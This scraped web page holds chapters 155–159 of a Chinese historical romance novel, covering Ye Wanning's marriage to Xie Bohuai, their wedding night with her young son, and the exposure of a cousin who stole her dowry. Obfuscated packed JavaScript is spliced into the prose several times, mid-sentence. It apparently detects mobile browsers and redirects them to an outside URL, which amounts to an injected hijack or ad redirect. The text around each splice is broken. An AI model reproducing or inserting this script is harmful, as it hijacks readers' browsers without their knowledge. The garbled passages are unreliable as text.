说着,郑秋和哭了起来。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15170503|165146||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 叶云珠听得心疼,“你不要妄自菲薄,你也有你的好。明儿个你就去跟你二表嫂,还有大表姐学习。你二表嫂出身书香门第,最懂京城世家喜欢什么样的儿媳。至于你大表姐,更是处处拔尖,她就是运气不好,若是你大舅舅还在,她嫁给王爷当王妃都绰绰有余。” 同样是叶家女,叶云珠今日瞧见叶婉宁,就知道谢泊淮为什么会那么喜欢了。 男人都爱美人,叶婉宁长得貌美的同时,举止气度更是一等一的好。 叶云珠拍拍女儿,哄着道,“别哭了,再哭眼睛要肿了。早点歇息,留给咱们的日子并不多。” 郑秋和哼了哼,心里不太愿意配合。到了次日,她是去找了叶婉宁和姜姒,不过都是聊些吃的玩的,并没有对婚事上心。 叶云珠则是操不完的心,一边盯着女儿,一边打听京城有哪些合适的人家。 日子就这样到了叶婉宁出嫁的这天,谢泊淮和谢家断亲,谢家自然没人来祝贺,便只有叶家这边的亲朋了。 叶婉宁梳妆打扮完,林氏抓紧时间来看了一回,“好妹妹,我是真舍不得你,嫁到谢家,你一定要好好照顾自己。” 林氏眼泪多,惹得姜姒也红了眼眶,“大嫂嫂快别哭了,我刚擦了的眼泪,又要被你惹哭。” “是啊两位嫂嫂,我会照顾好自己的。”叶婉宁刚说完,春喜跑进来,说结亲的人来了。 “那么快?”林氏作为主母,不好离开前厅太久,赶忙跑了出去。 姜姒也要出去迎客,只留下叶婉玉姐妹,还有哭得泪眼汪汪的郑秋和。 倒是乐哥儿没什么感觉,大人们没和他说太具体,只是告诉他,以后要换一个地方住。对此他没什么意见,只要母亲在身边就行。 第155章 他来了 喜乐声传到后院叶婉宁盖着红盖头或许不是真的要做夫妻叶婉宁心底很平静只是交代春喜看好乐哥儿。 “夫人安心我会看着他的。”春喜要带着乐哥儿一同过去听到外头越来越热闹她忙去找乐哥儿。 云芝作为陪嫁侍立在一旁 直到喜婆进来叶婉宁被带到外边心里才有了一些感觉。 不知何时身边的人换成了谢泊淮他的一声小心门槛让叶婉宁的心提了一下。 迈过门槛她以后就是谢泊淮的夫人了。 叶婉宁想回头看看家人的神情却发现头顶着红盖头。 上了花轿拜堂成亲都没有看到谢家人。 有人说谢泊淮大逆不道也有人说谢泊淮忘恩负义都在说谢泊淮太过分了。明明生父和嫡母都在怎么拜堂一个都不请? 叽叽喳喳的话传不到谢泊淮和叶婉宁耳朵里但其他人能听到。 青山带着长棍到门口“一个个捡了喜糖还啰七八嗦你们要是闲得慌不如和小爷我过上两招?” 众人看青山凶巴巴的不敢再逗留只是不在谢府门口说而是去了别的地方议论。 此时的谢家人一个都没出门。 他们不敢出门就怕别人问起谢泊淮成亲的事。 要说世家大族里最大的笑话就是谢家出了个六亲不认的谢泊淮。 谢泊远两兄弟被叫到了谢老爷子的书房兄弟俩大气不敢喘两个人看着地砖等老爷子发火骂人。 谢老爷子是憋了一肚子火气想要骂两个儿子没出息话到嘴边又觉得是浪费力气。 过了好一会儿谢老爷子才开口道“我谢家百年清誉全部毁在你们这一辈了。你们俩不行就算了结果你们生的也不行。咱们谢家以后真要完蛋了。” “父亲话也不能这么说儿子和二弟是规行矩步一点却知恩图报我们孝顺啊。”谢泊远先道。 “孝顺?你要是真孝顺就不会养出一个好色成瘾的儿子。”说到这个谢老爷子就来气“都说慈母多败儿你们母亲善妒跋扈才会让我有你们两个蠢货儿子。谢泊远你回去告诉你家那位要是再管不好谢允恩就别当谢家主母了我会休了她给你再娶过的!” 谢老爷子自己生不了孙子儿子都不行就想着催两个儿子再生几个儿子们高兴了但儿媳妇不乐意。 前年谢泊远 房里就死了一个小妾,是被谢大夫人下了药,小产后身子恢复不了。谢大夫人怕谢泊远再有儿子,影响到她儿子的家产,这才动手。 至于谢家二房,妾室倒是生了一个孩子,不过是个女儿,谢老爷子听说是个姑娘,看都没看就走了。 如今谢泊淮成亲,谢老爷子成了全京城的笑话,他心里郁闷,只能在家里骂儿子。 谢泊远和谢泊铭只能由着老爷子骂,等老爷子骂累了,才能离开。 兄弟俩走在石子路上,谢泊远哼了哼,“老爷子被谢泊淮气着了,就拿你我撒气。咱们也不比别人差,看看别人家的子弟,还不如我们。” 谢泊铭道,“这事不怪我们,还是谢泊淮的过错,要不是他手段卑鄙,蛊惑圣心,父亲也不会看我们哪哪都不行。不过话说回来,大哥你都四十几岁的人了,怎么还被一个妇人管着?允恩是不成器了,你不趁着还有精力生几个儿子,难不成真指望允恩撑起门楣?” 谢允恩娶妻后,丝毫没有收敛,还是一样逛花楼,养外室。他母亲白氏明面上说不给钱,私下里又一直塞钱,这几年的折腾,早就掏空了谢允恩的身子,身边的女人一个都没怀孕。 一开始,白氏还怪儿媳妇没用,以为是儿媳妇霸着儿子,不让妾室生养。后来闹腾一阵子,才知道儿媳妇根本没拦着,白氏这才意识到儿子有问题。 不过这是男人的尊严,谢允恩觉得自己床上明明很厉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15170504|165146||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 害,不可能不行,坚决不看大夫,反而在床事上更频繁,弄得二十出头的年纪,就要吃人参养精气,还瘦到脱相。 谢泊铭两兄弟一直都是面和心不和,到了这个时候,谢泊铭还要奚落一下谢泊远。 谢泊远憋着气,回去没好脸色,进屋就摔了桌上的茶壶,吓得丫鬟们发抖,不知该怎么办。 白氏没好气道,“谁给你气受,你找谁去,别来我这里撒野。” “就是你给我找的不痛快!”谢泊远指着白氏道,“今儿老爷子特意提到你儿子的事,他说你教养不好儿子,就要把你休了!” “休了我?”白氏不可置信地站了起来,“凭什么休了我?从我嫁到你们谢家二十几年,操持里里外外的事,我哪一样不是尽心尽力?允恩是不成器一点,但他年纪尚小,总有开窍懂事的时候。你们现在放弃他,要我这个当母亲的如何能接受?” “还小?二十几岁的人了,你还好意思说小?”谢泊远啪啪拍桌子,“你醒醒吧,你儿子就是个好色的废物,街上随便拉一个人都比他强。我告诉你,从今往后,我身边的事不用你管,要是再出什么人命,别怪我不顾念夫妻之情!” 白氏愣了愣,眼泪夺眶而出,“说到底,还不是为了你自己纳妾,好好好,你尽管去找外边的野女人。我倒要看看,你能生出什么样的人中龙凤?” 白氏哭着让谢泊远走,谢泊远没给面子,径直去找了新纳的小妾。 得知谢泊远去找小妾,白氏更伤心了,让人给女儿送口信,让女儿快回来,不然她活不下去了。 谢家老宅乱哄哄的,谢泊淮那里却是喜气洋洋的热闹,叶明岳带着人想给谢泊淮灌酒,但有青山几个在,全都给拦住了。 谢泊淮趁着众人没追上,偷偷跑了,新娘子的红盖头还没揭,看着床边坐着的人,谢泊淮喉结轻滚,咳了两声,提醒坐着的人,他来了。 第156章 洞房花烛夜 院子里偶尔会有说话声传来坐着的叶婉宁听到轻微的脚步声心里紧张得很。 “是我。” 低沉的一声好似在让叶婉宁别害怕但听出是谢泊淮的声音后反而手攥得更紧。 等红盖头被掀开两个人都没敢去看对方。 直到谢泊淮端来酒杯说习俗还是要一个个来叶婉宁才端着酒杯喝完。 当谢泊淮凑近身子时身上有着淡淡的酒味和男人身上强烈的气息。 叶婉宁脸上的胭脂褪了一些多了几分自然的红晕。 “我让人备了一些酒菜你先梳洗免得戴着重。”谢泊淮很体贴地让云芝进来送水。 听谢泊淮这么说话叶婉宁非常不习惯反而是那个冷冷的谢大人让她更自然一点。 洗过脸后叶婉宁确实饿了和谢泊淮一块坐下但谢泊淮不动筷子主要是叶婉宁自己吃。 吃饱喝足叶婉宁才想到晚上就寝的问题。 谢泊淮好似看出叶婉宁的想法主动道“今晚我睡软榻。” “这……” “没事我是糙人一个在哪都可以睡。”说着谢泊淮就抱了被褥去软榻上他正准备放下门口传来乐哥儿的拍门声赶忙把被褥抱了回去。 “母亲您在吗?”乐哥儿到一个新环境很不习惯他怕母亲不在趁着春喜去倒热水的功夫跑了过来。 春喜急忙抱着乐哥儿但乐哥儿在她怀里扭动挣脱到地上赶忙哄道“乐哥儿乖夫人正在忙你跟我回去明儿个醒来就能见到夫人。” “不 屋里的叶婉宁不忍心过来开门结果乐哥儿一下扑到她怀里。 “母亲呜呜……我好害怕这里的一切我都不熟悉我怕我是一个人我今晚可不可以和您一起睡?”乐哥儿抱着母亲的腿撒娇并不搭理春喜紧紧抱着母亲。 叶婉宁有着为难平常倒是没什么可是今晚谢泊淮注定要睡在这个屋里。如果乐哥儿住进来怎么让谢泊淮睡软榻? 可是乐哥儿闹腾着不肯走直到谢泊淮主动说让乐哥儿留下“孩子还小他既然害怕便跟我们一起睡。” 一起睡? 叶婉宁不知道谢泊淮是什么意思但乐哥儿得到允许笑呵呵地跑进屋里爬到床上立马躺平“母亲快来我躺好了。” 今儿是洞房花 烛夜,春喜怕谢大人会杀了她,焦急地去看云芝。 云芝也没办法,只能帮着关了门,拍拍春喜的背,“行了,你别想太多,有夫人在,大人不会生我们的气。咱们都辛苦一天,去休息吧。” “可是……” “你小小年纪,别操心了。你看大人那几个随从,一个个都喝得酩酊大醉,学学他们的样子。”云芝也困了,拉着春喜回去睡觉。 为了成婚,谢泊淮把边上的宅院一块买下来,把围墙打了后,宅院大了两倍,便有地方给乐哥儿他们住。 不过这处院子还是不大,两进加两进,不过是多了三四间屋子。小也有小的好处,够温馨。 此时屋里的叶婉宁,还站在床沿,不知所措地看着乐哥儿。 小孩儿今日累到了,看到母亲便安心,躺下没多久睡着了。 叶婉宁用口型问谢泊淮,“不如我让春喜来把人抱走?” “还是算了,乐哥儿年纪小,若是明儿醒来没看到你,肯定又害怕。既然他来了,咱们一块睡,让他睡中间,你放心,我睡觉很安分。”谢泊淮特意强调了一句安分。 他其实也想和孩子亲近一点,乐哥儿对他非常陌生,就和见个普通人一样。 叶婉宁听谢泊淮一起睡,却又想不到哪里不行,她脱了鞋睡到最里边,等谢泊淮吹灭蜡烛后,屋内瞬间暗了下来。 乐哥儿倒是不老实,侧身抱住叶婉宁胳膊,吓得叶婉宁以为碰到了谢泊淮,身子抖了抖。 谢泊淮也全身紧绷,他还是第一次,和叶婉宁母子那么近。 “夜里乐哥儿可能会起夜,你要不睡里面?”叶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15170505|165146||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 婉宁小声问。 “不用,我带他去就是。”谢泊淮说他没问题,“快睡吧,你累一天了。” 二人就这么躺着,中间的乐哥儿时不时换个方向,他们却是没有睡意,直到乐哥儿醒了起夜,谢泊淮抱着小孩儿到屏风后,但他没经验,乐哥儿尿他裤腿上了。 把乐哥儿放床上后,谢泊淮忙去找裤子。想着快些换了,也就没多想。 叶婉宁听谢泊淮开柜子,又没回来,心里好奇,起身时,正好看到谢泊淮站在四四方方的月光中。 随着谢泊淮脱下长裤,露出修长而紧实的长腿,叶婉宁瞬间愣住,赶忙躺下背对着谢泊淮躺着。 谢泊淮倒是没注意到叶婉宁这边,换了长裤便回去躺下。 这会儿叶婉宁一动不敢动,月色朦胧,却也能看个大概轮廓,实在是…… 她就不该好奇。 心思过了又过,在困意的加持下,叶婉宁才睡着了。 次日再醒来,天已经大亮,叶婉宁还没起来,便听到院子里乐哥儿和谢泊淮在说话。 “如果我也天天练拳,就能和你一样长得那么高吗?”乐哥儿抬头望着谢泊淮,他并不知道外边人对谢泊淮的留言,听春喜小声提醒要喊父亲,乐哥儿又歪着头问,“我为什么要喊你父亲,你真的是我父亲吗?” 对于父亲,乐哥儿以前有问过,但母亲和春喜她们都说父亲死了。 死了的人怎么会复活? 看着眼前的人,乐哥儿好多疑问。 谢泊淮则是蹲下,看着肉嘟嘟的小人儿,笑着道,“对,以后我就是你父亲了。你要练拳可以,不过你现在太小了,得等你身子长得壮实一点。还有,我们要小声一点,别吵醒你母亲。” “好的哦。”乐哥儿捂着嘴,好奇地打量着谢泊淮,“我很壮的,叶家表哥都不如我力气大,你别小看我。” 说话间,乐哥儿余光瞥到一个人影,转头时惊喜地跑过去,“母亲,您醒啦!” 第157章 回门 乐哥儿敦实得很,扑了叶婉宁满怀,“母亲母亲,他让我喊他父亲,他真的是我父亲吗? 叶婉宁点头说是,“嗯,他是你父亲。 “好诶,以后我也有父亲了。乐哥儿欢呼起来,“您快去洗漱,春喜今日做了包子,可香了。 叶婉宁被拉着去后厨,有乐哥儿在,热闹得很。 不过小孩子的心思很容易被吸引,一会儿就被青山带着去抓雀儿。 叶婉宁则是和云芝清点嫁妆。 “家中陪嫁了田地和农庄,让原来的人继续打理就好。叶婉宁道,“至于铺面,继续出租,我不想费心思经营了。 她的银钱,够她富足一辈子了。 云芝带着几个丫鬟在入库,直到一个箱子时,发现里面黄金打造的头面不见了。 “怎么回事,你们再看看,找仔细一点。云芝吩咐其他几个小丫鬟。 可找来找去,都没找到,还丢了一个翡翠玉扳指,都是值钱玩意。 云芝皱着眉,“夫人,会不会是被人拿走了?大夫人和二夫人不可能扣下您的嫁妆,她们不是这种人,从昨儿到谢家,库房门一直锁着,很可能是在叶家就丢的,咱们派人回去说一声? “不太好,如果我派人回去,会影响我与两位嫂嫂的关系。我相信她们的为人,正是如此,更不好直接去问,到时候她们为了自证清白,肯定费心费力。叶婉宁道。 “那怎么办?云芝皱眉,“光是那套头面,都值两千两银子呢。 这么贵重的东西,不可能丢了就不要了。 叶婉宁想了想,去找了谢泊淮,说了嫁妆弄丢的事,“我想着要么是叶家亲眷,要么是叶府的哪个下人。既然敢把手伸到我的嫁妆,应该是很缺钱,他肯定要变现。 谢泊淮同意,“我派人去各大当铺打听下,再留意着叶家进出的人。你放心,肯定可以给你找回来。 “银钱倒是小事,就是这种人得找出来,不然长久之下,会引起更大的祸患。叶婉宁比较在意这个。 谢泊淮的人立马去调查,派出去的人很快有了消息,叶明轩替一位妓女赎身不是秘密,但叶明轩不可能有那么多钱,顺藤摸瓜下,也就找到叶婉宁的嫁妆头面。 要说这个叶明轩也是个蠢笨的,偷了东西,不仅没把头面融了再拿去卖,想着完整头面更值钱,直接拿去典当了。 听到这个消息,回门那日,叶婉宁特意让人喊了二叔一家过来。 叶显荣是不太愿意过来 他觉得叶婉宁肯定想炫耀但叶婉宁开口他又不得不带着一家子过来。 刚到叶府叶显荣看没给他留座位语气嘲讽“知道你们现在发达了看不上我这个二叔是吧?” “没呢。”叶明岳笑嘻嘻地让人倒茶“您永远是我们二叔不然也不会请您过来。哟明轩怎么脸色那么差累着了?” 李氏撇嘴道“他没有好福气只能用功读书。这些日子明轩日日苦读气色都差了用功得很。我说明岳你答应帮忙引荐名师什么时候啊?” “不急有件事得先弄清楚不然咱们家要闹笑话了。”这会只有叶明岳兄弟在叶明岳说了这个事闹起来肯定会和二叔一家撕破脸。这种事还是他们男人来干不让叶婉宁这些女眷出面。 此时的叶婉宁正和其他姐妹坐在里间能把外边的说话声听个清楚。 叶婉玉憋不住压着嗓子道“哪里有这种人连堂姐嫁妆都敢偷还去嫖娼养外室真是有辱家风!” “别说了。”林氏道“听你哥哥们怎么处理。” 叶婉玉撇撇嘴恨不得自己出去骂两声奈何哥哥们不让她们出面。 外边的叶显荣夫妇听出了叶明岳的话外之音李氏不太高兴“我说明岳有什么话直说别兜圈子。我们是你们的长辈并不是犯人。” “是啊是你们特意喊我们过来的我还很高兴想着婉宁回门一家子亲亲热热 叶明轩从给翠儿赎身后日日都和翠儿厮混就没什么停下的时候一身精气都被吸光了这会儿忍不住一直打哈切。 叶明岳看了兄长一眼事已至此也就只能全摊开来说他给边上人使了个眼色小厮立马去把当铺地掌柜的带过来。 掌柜的捧着头面进来看了叶明轩一眼确认道“回两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15170506|165146||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 位爷确实是这一位爷来典当的头面我这里还有他签字画押的契约不会错。” 叶明岳嗯了一声“辛苦掌柜的麻烦你先去喝杯茶待会有事再请你过来说话。”他再去看叶显荣一家“这副头面是婉宁的嫁妆却在前些日子明轩拿去典当了。二叔我……” “你什么意思?”叶显荣听出问题来了“你是说明轩偷了婉宁的嫁妆?” 叶明岳说是“二叔你还是镇定点我和大哥都知道家丑不可外扬才没留其他人在这里。方才掌柜的也指认了还有明轩签字画押的契约你都可以确 认一下,做不得假。” 叶显荣看着契约,气得手抖,确认没有错之后,还在给儿子找理由,“不可能啊,明轩日日都在读书,他怎么可能干这种事?会不会是被人陷害的?明轩你说,你没有做这种事,对吧?” 叶显荣这一生,前半辈子爱做白日梦,幻想自己以后飞黄腾达的日子。后来认清现实,知道自己没那个可能,就把期望放在儿子身上。 叶明轩被他父亲一问,瞬间腿抖,眼神闪躲不敢回话。 李氏也看着儿子,“你别怕,不是你做的就说不是。万一那个心思坏的,找个和你长得像的人,也不是没可能!你可是读书人我,以后要考取功名,当大官的人,不可能干出这种事!” “我……”叶明轩偷东西时,就没想过会被发现,而且叶婉宁那么多嫁妆,他也是叶家人,拿走一两件算什么,至于吗? 叶明岳没了耐心,“我说明轩,男子汉大丈夫,敢作敢当。你不肯承认,是要我们闹到官府去吗?” “叶明岳,你敢!”叶显荣吼道,“为了这点小事,你是要逼死我吗?我都说了,明轩是读书人,他用不到那么多钱,你何必咄咄逼人?” 叶明岳被气笑了,正准备回怼时,他大哥先开口,“二叔,我们若是想逼死你,这会你们已经在公堂上了。就是念着都是一家人,闹出去不好听,我们才把你们喊来。你是知道我的,我这个人做事一板一眼,既然我们敢找你们来,就是确认过。你不如问问明轩,他嘴里说的读书,都是去哪读?” 第158章 中风 “明轩你说,你是不是日日用功?叶显荣还是坚信儿子没偷东西。 他拉着儿子走到叶明岳兄弟跟前,“你和他们说,只要你敢保证没做,就是闹到官府去,我这个做爹的也会帮你撑腰! “够了!叶明轩衣领被拽歪了,到了这会,他知道躲不过,“是我偷的怎么了?你们给叶婉宁准备那么多嫁妆,自己吃香的喝辣的,我们二房却日日受苦,我就是看不下去,才会偷头面! “真的吗?叶明岳挑眉嘲讽。 “当然!叶明轩的一句当然,让叶显荣夫妇傻了眼。 叶显荣方才还信誓旦旦,不怕去官府,现在却是真的。 李氏也脸白了,她没想到儿子真的偷东西,但这个时候,她想的还是维护儿子,“哎呀,小孩子不懂事,你们别和明轩计较,他读书读累了,才会一时想不开。既然头面已经找回来,这事算了吧,咱们都是一家人,不至于闹到给人看笑话,传出去也不好听。 到了这会,李氏语气好了很多。 但是叶明岳兄弟,可不会就这么放过叶明轩。 叶明岳对二房本就没什么感情,看热闹不嫌事大地道,“二婶就不好奇,叶明轩把那么多钱,花哪里去了?根据你们的反应,他肯定没给您和二叔。 “肯定是读书用了。李氏想都没想。 “读书何至于花那么多钱!叶明德想到叶明轩的所作所为,忍不住拍桌斥责,“叶明轩,你不好好读书,天天就连花楼,甚至给妓女赎身,你简直就是个纨绔做派! “啥?叶显荣夫妇同时傻眼。 李氏用力摇头,“不可能,绝对不可能,明轩身边的人都说他去书院,怎么可能去妓院?叶明岳,你别乱说话,毁了明轩清誉,我和你没完! “铜锣巷最里面的院子,我们已经派人去了。叶明岳说话时,翠儿被带来了,“喏,这就是叶明轩赎身的姑娘,不如你们自个儿问问。 翠儿看到叶明轩,害怕地跑过去,“叶郎,这些人好可怕,闯进我们宅院,不由分说把我绑来。 翠儿娇滴滴地搂住叶明轩胳膊,一看就是花楼里的做派,这副亲昵样子,不用叶明岳兄弟再说什么,李氏和叶显荣也明白了。 “你……叶显荣指着儿子,“你一直都没去书院? 叶明轩眼神闪躲,不敢回答。 见他沉默,叶显荣知道怎么回事,“我打死你这个逆子! 只是没等叶显荣冲过去,李氏先拉住他,“老爷别冲 动,万一明轩是被这个狐狸精蛊惑了。你别生气,男人嘛,有时候走错路没关系,知错能改就行。明轩,快和你父亲道歉,把这个狐狸精卖得远远的,保证以后会好好读书。” 翠儿一听要卖她,听出这里是叶家,赶忙跪下,“夫人明鉴,妾身与叶郎是真心喜欢。妾身没奢望一个名分,只想默默伺候叶郎,您别卖了妾身,求求您了。” 翠儿还是有点眼力见的,知道这个时候服软。 叶明轩却没有动,父亲母亲一直压着他读书,可那么多年,他的学问在书院里排不上中等。 读书读书,永远都是读书。 他早就读得不耐烦了。 谁不想考功名? 他也想,可是几次了,他都没有个进展,连个秀才都考了三次才中。 叶明轩听母亲还是要他读书,已经握紧了拳头,“对,我和翠儿是真心相爱,我要纳翠儿为妾。” “纳妾?”叶显荣一口气快喘不上来,“你还没娶妻,就纳一个妓女为妾?这要是传出去,什么人家会把女儿嫁给你?” “我不管,我就要纳妾!”叶明轩今日是吃了秤砣,铁了心要纳妾。反正事情闹到这个地步,不可能好转,还不如趁这个时候给翠儿一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15170507|165146||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个名分,免得他以后还要偷偷摸摸见翠儿。 “逆子!”叶显荣指着儿子,手指颤抖得越来越厉害,直到两眼一黑,晕死过去。 他这一晕,吓到了李氏,叶明德赶忙让人去请大夫。 等大夫来了,说叶显荣是气的,可能中风了,李氏也撑不住,坐在一旁哭了起来。 这时候叶老夫人来了,本来这个事没和她说,但是叶婉宁回门久久没去她那里,加上叶显荣气晕了,只能和她说。 叶老夫人也是气坏了,知道怎么回事后,当即过来,看李氏只知道哭,骂了句没用的东西,再去看地上跪着的叶明轩,一拐杖敲了过去。 看儿子被打,李氏又心疼了,赶忙喊“母亲”。 “到这会,你还护着他?”叶老夫人瞪着李氏,“慈母多败儿,说的就是你!你给我闭嘴,明岳你们把明轩带去祠堂,打二十棍子,让他跪在列祖列宗面前反省。只有那个翠儿,找个人牙子来,远远地打发了。当铺那里多给点银子,别让他们走漏风声。” 还是家丑不可外扬,虽然是二房的丑事,但还会影响整个叶家。 有叶老夫人发话,李氏再心疼儿子,也只能憋着。 而叶显荣一直没醒过来,叶婉宁的这场回门宴,吃得有些压抑。 倒不是叶婉宁兄妹多在意二房的事,而是叶显荣中风,他是老夫人的儿子,碍于老夫人的心情,大家伙都不敢说说笑笑。 还是吃过午饭,老夫人回去后,林氏几个才拉着叶婉宁说话,问她在谢家如何。 “我听云芝说,新婚夜乐哥儿和你们一块睡的?”林氏作为大嫂,关心的点比较多一点。 一样的叶婉玉也凑了过来,好奇得看着叶婉宁。 姜姒问不出这种话,但她同样好奇,望着叶婉宁等回话。 只有叶婉华不好意思红了脸,说去给她们几个倒茶。 第159章 流鼻血了 “云芝这丫头,怎么啥都说?”叶婉宁看向云芝时,云芝立马心虚地撇开头,面对家里嫂嫂们的目光,她只能应了一句是。 叶婉玉着急了起来,“这可是洞房花烛夜,怎么能让乐哥儿一起睡?他谢大人,就这么同意了?” 叶婉宁一脸囧,只能说是。 林氏表示,“看来谢大人对你还是很包容,只是这种事,还是别再有了。你们既然成了夫妻,还得同心同力,才能长久。” 作为叶家人,她们都想叶婉宁过得好。 在她们看来的过得好,便是做真夫妻,恩恩爱爱地过日子。 这边叶婉宁应付着说是,男人那边,叶明德不好问太直接的话,叶明岳兜了几个圈,还是忍不住了,“谢大人,现在应该喊你子谦了,才显得亲近一些。子谦哪,我怎么听说,新婚夜你们和乐哥儿一起睡的?你是哪里不满意我妹妹?” 谢泊淮一脸懵逼,“我……我没不满意。” “那你为何不洞房?”叶明岳还在追问。 一旁的叶明德早就红了脸,但是他也想知道为什么。 谢泊淮实在不好说这个事,可是叶明岳一直问,“乐哥儿第一天到府里,怕生得很。我想着和他处好关系,我和婉宁来日方长。” 听他这么说,叶明德觉得能解释,开口阻止了叶明岳的继续追问,“嗯,你能有这份心,就够了。” 谢泊淮把借着这个话头,说起了叶明轩的事,转移了话题。 “叶明轩啊,他是二叔的儿子,真要闹起来,也是二叔他们难看。”叶明岳无所谓态度,“而且二叔中风了,二婶一个人不顶事,叶明轩那个样子,就不可能顶起门楣。我看他也没有悔过的想法,他装装样子认个错,二叔又这样了,以后叶明轩迟早败坏家产。我们要做的,就是帮着请几个好大夫,时不时送点药材去,自然就有个好名声。” 对此,叶明德默认了叶明岳说的。 有了同样讨厌的人,这话也就有得说了。 等时候差不多了,云芝过来传话,说该走了,谢泊淮这才吐了口气,总算是把选房的事避开了。 夫妇俩一块出了叶府,正准备上马车时,林氏身边的丫鬟跑出来,递给叶婉宁一个包袱,小声道,“大姑奶奶,这是大太太给您准备的。您带回去自个儿看,别让旁人看到了。” 叶婉宁还没听出什么意思,对方就走了。 上了马车后,乐哥儿哭着不想走,坐在一旁生闷气,不想说话。 叶婉宁拿着汤块哄人,“ 你想来玩,以后常可以来,又不是不能来了。” “可是我们就不能住在这里么,我想天天和萱表姐他们玩。谢家只有我一个小孩,都没人陪我玩。母亲,您可以给我生两个哥哥和姐姐吗?”乐哥儿是童言无忌,说得叶婉宁僵了脸。 乐哥儿又去看父亲,“父亲,大舅母说,希望你们多生孩子。你们可不可以快一点,我一个人太没意思了。” 谢泊淮去看叶婉宁,随后笑着道,“这种事急不得。” “怎么就急不得?难不成还要等很久?”乐哥儿鼓着脸,更不高兴了,“那你们把我送到叶家来,什么时候有其他小孩,我再回去。” 叶婉宁赶紧阻止乐哥儿后边的话题,“那你不想母亲?” 乐哥儿也不想和母亲分开,发愁地皱着眉。 一直到回了谢家,乐哥儿都没想好怎么处理,好在春喜很快拿来皮影人,吸引了他的注意力。 等乐哥儿被抱走后,谢泊淮和叶婉宁一块进了屋子里,“乐哥儿已经四岁了,该到了启蒙的时候。我想着,不如我带他读一段时间,也好和他相处一下。等他再大一点,另外聘请名师,你看如何?” 叶婉宁说可以,“这自然是好的,只是你有那么多时间吗?” 谢泊淮说有,“我现在不是指挥使了,皇上下的旨意,不可能让我再当指挥使。” 叶婉宁不懂朝堂上的事,听着没说话。 谢泊淮继续道,“还有一些事,我要和你提前说一下。你也知道我和谢家人都断绝关系,于我而言,我是天不怕地不怕,不在乎旁人怎么说我。但是肯定会有人来找你,让你劝劝我,哪里有儿子不认老子的道理。往后遇到这种人,直接骂回去就好。你只要记住,如今你是我谢泊淮的夫人,不管是谁找你不痛快,你都不用有顾忌。” 顿了顿,谢泊淮加重语气道,“只要有我在,你在京城可以随便横着走。” 这话,谢泊淮说得很认真。 叶婉宁也有想过谢家的事,“可是以后,旁人再拿谢家说事,你能应付的了吗?” 毕竟忤逆不孝的罪名扣下来,就可以罢官流放。 即使是皇上,也没直接说谢泊淮可以这样,其他大臣弹劾的折子,皇上只当没看到。 如果皇上下旨帮谢泊淮断绝关系,以后新帝登基,也不好拿这个事做话题。 皇上没有出面,便是给新帝留了个拿捏谢泊淮的把柄。 所以说,皇上是看重谢泊淮,却也没完全给谢泊淮放权。毕竟谢泊淮是个臣子 ,并不是儿子,对于臣子,需要牵制。 “这个事,既然我敢这样,便是留了后路。而且谢仲渊一把年纪了,谢家又那个样子,他活不了多久的。”说到父亲,谢泊淮眼露凶光。至于嫡母,更不用说了,没了他父亲在,更是死路一条。 谢泊淮让叶婉宁不要担心,叶婉宁不好再多问,而是拿着大嫂给的包袱到里屋,只是拆开后,瞬间红了脸。 竟然是春宫图! 之前出嫁时,叶婉宁压箱底里就有这个玩意,但她没有看,她觉得自己用不上。但没想到,大嫂又给了她两本,而且看着更…… 